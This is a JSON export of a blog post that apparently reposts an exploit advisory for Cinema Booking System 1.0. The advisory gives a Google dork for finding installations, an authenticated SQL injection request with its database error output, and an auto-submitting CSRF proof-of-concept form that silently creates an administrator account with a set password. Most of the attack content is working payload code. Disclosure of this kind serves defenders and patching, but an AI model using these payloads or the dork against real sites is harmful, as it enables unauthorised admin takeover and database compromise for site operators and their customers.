{"id":57918,"date":"2024-07-05T18:29:58","date_gmt":"2024-07-05T15:29:58","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179386\/cbs10-sqlxsrf.txt"},"modified":"2024-07-05T18:29:58","modified_gmt":"2024-07-05T15:29:58","slug":"cinema-booking-system-1-0-sql-injection-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cinema-booking-system-1-0-sql-injection-cross-site-request-forgery\/","title":{"rendered":"Cinema Booking System 1.0 SQL Injection \/ Cross Site Request Forgery"},"content":{"rendered":"<p>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br \/>.:. Exploit Title &gt; Cinema Booking System &#8211; Multiple Vulnerabilities<\/p>\n<p>.:. Google Dorks .:.<br \/>intitle:Cinema Booking System<\/p>\n<p>.:. Date: July 5, 2024<br \/>.:. Exploit Author: bRpsd<br \/>.:. Contact: cy[at]live.no<br \/>.:. Vendor -&gt; https:\/\/www.phpjabbers.com\/<br \/>.:. Product -&gt; https:\/\/www.phpjabbers.com\/cinema-booking-system\/<br \/>.:. Product Version -&gt; 1.0<br \/>.:. DBMS -&gt; MySQL<br \/>.:. Tested on &gt; macOS [*nix Darwin Kernel], on local xampp<br \/>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<\/p>\n<p>#####################<br \/>|PRODUCT DESCRIPTION|<br \/>#####################<br \/>&#8220;The Cinema Booking System is a PHP\/MySQL-based seat and ticket reservation system allowing bookings in a few easy steps. Users can process online payments, manage reservations, and customize events. This powerful cinema ticket booking system can be deployed on any website offering tickets for movies, theater, and other scheduled performances. If you purchase the booking script with a Developer License, you will be able to make your own changes to the PHP source code.&#8221;<\/p>\n<p>Vulnerability 1: Authenticated SQL Injection<br \/>GET http:\/\/localhost\/index.php?controller=pjAdminBookings&amp;action=pjActionGetBooking&amp;column=%27&amp;direction=DESC&amp;page=0&amp;rowCount=10&amp;uuid=%27&amp;c_name=&amp;from_price=&amp;to_price=&amp;c_email=&amp;event_id= HTTP\/1.1<br \/>host: localhost<br \/>User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko\/20100101 Firefox\/127.0<br \/>Accept: *\/*<br \/>Accept-Language: en-US,en;q=0.5<br \/>X-Requested-With: XMLHttpRequest<br \/>Connection: keep-alive<br \/>Referer: http:\/\/localhost\/index.php?controller=pjAdminBookings&amp;action=pjActionIndex<br \/>Cookie: CinemaBooking=8e2ffd6bba921f964458b47fb27eb952<br \/>Priority: u=1<\/p>\n<p>Response:<br \/>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#8216;\\&#8217; DESC<br \/>LIMIT 0, 10&#8242; at line 5<\/p>\n<p>===========================================================================================<br \/>Vulnerability 2: Cross Site Request Forgery<br \/>Risk:Privilege Escalation<\/p>\n<p>Proof of concept:<br \/>&lt;h1&gt;CSRF PoC&lt;\/h1&gt;<br \/>&lt;form id=&#8221;csrfForm&#8221; action=&#8221;http:\/\/localhost\/index.php?controller=pjAdminUsers&amp;action=pjActionCreate&#8221; method=&#8221;POST&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;user_create&#8221; value=&#8221;1&#8243;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;role_id&#8221; value=&#8221;1&#8243;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;email&#8221; value=&#8221;test@test.com&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;password&#8221; value=&#8221;123123&#8243;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;name&#8221; value=&#8221;test&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;phone&#8221; value=&#8221;&#8221;&gt;<br \/>&lt;input type=&#8221;hidden&#8221; name=&#8221;status&#8221; value=&#8221;T&#8221;&gt;<br \/>&lt;\/form&gt;<br \/>&lt;script type=&#8221;text\/javascript&#8221;&gt;<br \/>document.getElementById(&#8216;csrfForm&#8217;).submit();<br \/>&lt;\/script&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.:. Exploit Title &gt; Cinema Booking System &#8211; Multiple Vulnerabilities .:. Google Dorks .:.intitle:Cinema Booking System .:. Date: July 5, 2024.:. Exploit Author: bRpsd.:. Contact: cy[at]live.no.:. Vendor -&gt; https:\/\/www.phpjabbers.com\/.:. Product -&gt; https:\/\/www.phpjabbers.com\/cinema-booking-system\/.:. Product Version -&gt; 1.0.:. DBMS -&gt; MySQL.:. Tested on &gt; macOS [*nix Darwin Kernel], on local xampp@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #####################|PRODUCT DESCRIPTION|#####################&#8220;The Cinema Booking System is &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57918","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57918","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57918"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57918\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}